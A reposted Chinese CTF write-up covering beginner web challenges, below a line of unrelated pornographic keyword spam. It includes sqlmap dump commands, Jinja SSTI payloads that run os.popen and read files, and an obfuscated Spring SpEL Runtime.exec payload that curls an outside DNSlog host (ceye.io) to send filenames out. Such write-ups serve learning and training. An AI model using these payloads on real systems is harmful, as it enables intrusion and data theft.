日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

记一次院赛CTF的WEB题(入门级别)

發布時間:2024/9/30 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 记一次院赛CTF的WEB题(入门级别) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 簽到一
  • 簽到二
  • 口算小天才
  • easy php
  • 錄取查詢
  • 我愛python
  • Spring

這次院賽的題目比較基礎,適合給剛入門CTF的小白提供一個大致CTF解題思路。(主要因為本人小白,表示能學到不少東西。)

簽到一

題目中直接給了flag,提交就可以了。

簽到二



這題主要考察的是基本的F12能力,查看網頁源碼,以及修改input輸入框的長度。

口算小天才


這題通過題意,是需要讓我們在1~3秒內回答出這個計算題。這題應該算是考察一個基本的編程能力吧。

這邊給出我的python代碼。當然這題還有很多別的編程語言可以使用,我當時就是直接用的js,直接獲取算式,然后我是百度了一個別人寫好js的運算的函數CalcEval.prototype.complexEval,然后將算式傳進去,計算得出答案,放到答案的框中,js點擊實現的。

easy php


其實看到vim就可以想到.swp文件的泄露,但是作為小白的我沒有想到這個,我直接放到了漏洞掃描的軟件掃了一下(強烈推薦這個軟件)

這里發現了.DS_Store的泄露。


然后用ds_store_exp這個工具下載下來(需要的是python2.7的環境)

這邊代碼審計一下,首先頁面get到a、b、c三個參數,然后把a和b經過的md5后的保存下來,這題輸出flag的條件分別是,1、a和b存在 2、a!=b,且a的md5和b的md5要相等 3、c<9999999||(String)$c>0這個結果要是false。

md5()這個函數可以去百度一下,如果我們傳入的a和b是數組的話,他們md5()后的返回值會是false,利用false==false可以滿足條件2

然后要滿足條件3需要知道,數組與整數比較會返回false,所以構建如下

錄取查詢

這題可以發現注入點,可以直接選擇手工注入,但是更簡單的是使用sqlmap
關于sqlmap如何post注入可以看下面的

首先需要用bp抓個包,把他copy到一個txt里面保存。

使用 sqlmap –r lqcx.txt –-dbs
就是使用我們保存的這個txt,去找數據庫

?
可以發現有如下數據庫,因為是學校的錄取查詢,所以應該是school,當然不知道也沒關系,每個看一遍也能找到flag

然后sqlmap r lqcx.txt –D school –-table
就是找school數據庫的表

可以發現有這兩張表,所以當然是選擇flag

使用sqlmap –r lqcx.txt –D school –T flag –-column
查找school數據庫中的flag表的字段

可以看到有flag字段

使用sqlmap –r lqcx.txt –D school –T flag –C flag –-dump
就是查找school數據庫中的flag表的flag字段,然后—dump彈出顯示出來

就能得到flag

然后放一段我同學的手工注入

我愛python


這題的話,看了他的網頁源碼,可以看到power by flask,然后百度一下flask漏洞
推薦這篇博客https://blog.csdn.net/lansatiankongxxc/article/details/78764726

大概可以知道我們需要他的os模塊來顯示有哪些文件,然后使用file模塊來讀取文件。
這邊使用{{().class.bases[0].subclasses()}}可以看到有哪些類,我們發現有file,然后我們還需要os,這邊看了大佬的write up知道了,訪問os模塊可以從warnings.catch_warnings下手,發現確實是包含了這個類

這邊是上面查到的那篇博客的部分截圖

首先,這邊要找warnings.catch_warnings的位置,于是我用{{[].class.base.subclasses().index(warnings.catch_warnings)}}
我發現不能執行他的那個語句應該是沒有導入warnings的緣故吧我想,于是我把之前用{{().class.bases[0].subclasses()}}找到的所有類放到notepad++中,批量把>換成了>\n

這邊發現他是第60個,換成索引就是59。

然后知道了位置,執行
{{().class.bases[0].subclasses()[59].init.func_globals.keys() }}查看由哪些global函數

這邊可以看到有linecache,我們要訪問的os模塊就在這里

{{().class.bases[0].subclasses()
[59].init.getattribute(‘func_global’+‘s’)
[‘linecache’] .dict[‘o’+‘s’].dict’popen’.read()}}
當然,這邊沒有進行關鍵字的過濾,所以不需要拼接字符串,但是我這里還是拼接了一下。

可以看到有這些文件,很明顯我們要的是flag。
使用file模塊進行讀寫
使用之前找到warnings.catch_warnings位置的方法,發現file的索引是40

{{().class.bases[0].subclasses()40.read()}}

Spring

主要給了他后臺的源碼,是一個jar包。
使用JD-GUI反編譯一下,可以看到可讀的java源碼
首先可以看到SpringBoot的配置application.yml

這邊可以看到一個管理員的賬號、密碼、權限和一個后面要用到的rememberMeKey。還有一個黑名單,我們后面需要繞過這些。

Main控制器中主要是一個賬號密碼權限和是否記住的讀取,然后如果勾選了記住我的話,會默認給設定一個cookie

由于SmallEvaluationContext extends StandardEvaluationContext StandardEvaluationContext這些是可以執行類類型表達式。所以會出現命令執行漏洞。


這邊就是把那個username傳到了getAdvanceValue()方法里面,所以我們需要傳的這個username應該是一個執行后可以獲取我們想要的flag的東西。

然后可以看到這個username是把rememberMeValue傳到this.userConfig.decryptRememberMe()里面得到的。

rememberMeValue就是我們的remember-me的值,這是我們一個cookie的值,我們可以通過改cookie的值來實現傳入這個rememberMeValue

然后找到userConfig里面的decryptRememberMe()

就是會調用這個解開我們的cookie然后最后給到具有命令執行漏洞的SmallEvaluationContext

所以我們要構造這個cookie,就需要使用加密的方法,可以找到

這里的rememberMeKey的值就是之前看到的。

然后就可以把這個加密的方法copy出來,把我們想要執行的內容加密存入cookie

我們主要是要通過這樣來獲取一個回顯(我這里使用DNSlog的回顯方式是使用ceye.io)
Runtime.getRuntime().exec(“curl http://****(這里是自己的一個子域名).ceye.io/”)

然后構建payload

String.class.getClass() .forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl http://***.ceye.io/");

我最終構建如下

這邊就是使目標服務器,執行將ls下的每一個文件名作為四級域名的形式回顯。

為什么我不一次性作為一個字符串返回,是因為有長度限制
可以參考簡書https://www.jianshu.com/p/307acf4e1fbf

所以我使用了一個for循環,將每個文件名作為我的域名的一部分回顯了。

可以看到有flag_j4v4_hhh的一個文件


這邊base64加密傳輸是避免部分符號的丟失


總結

以上是生活随笔為你收集整理的记一次院赛CTF的WEB题(入门级别)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。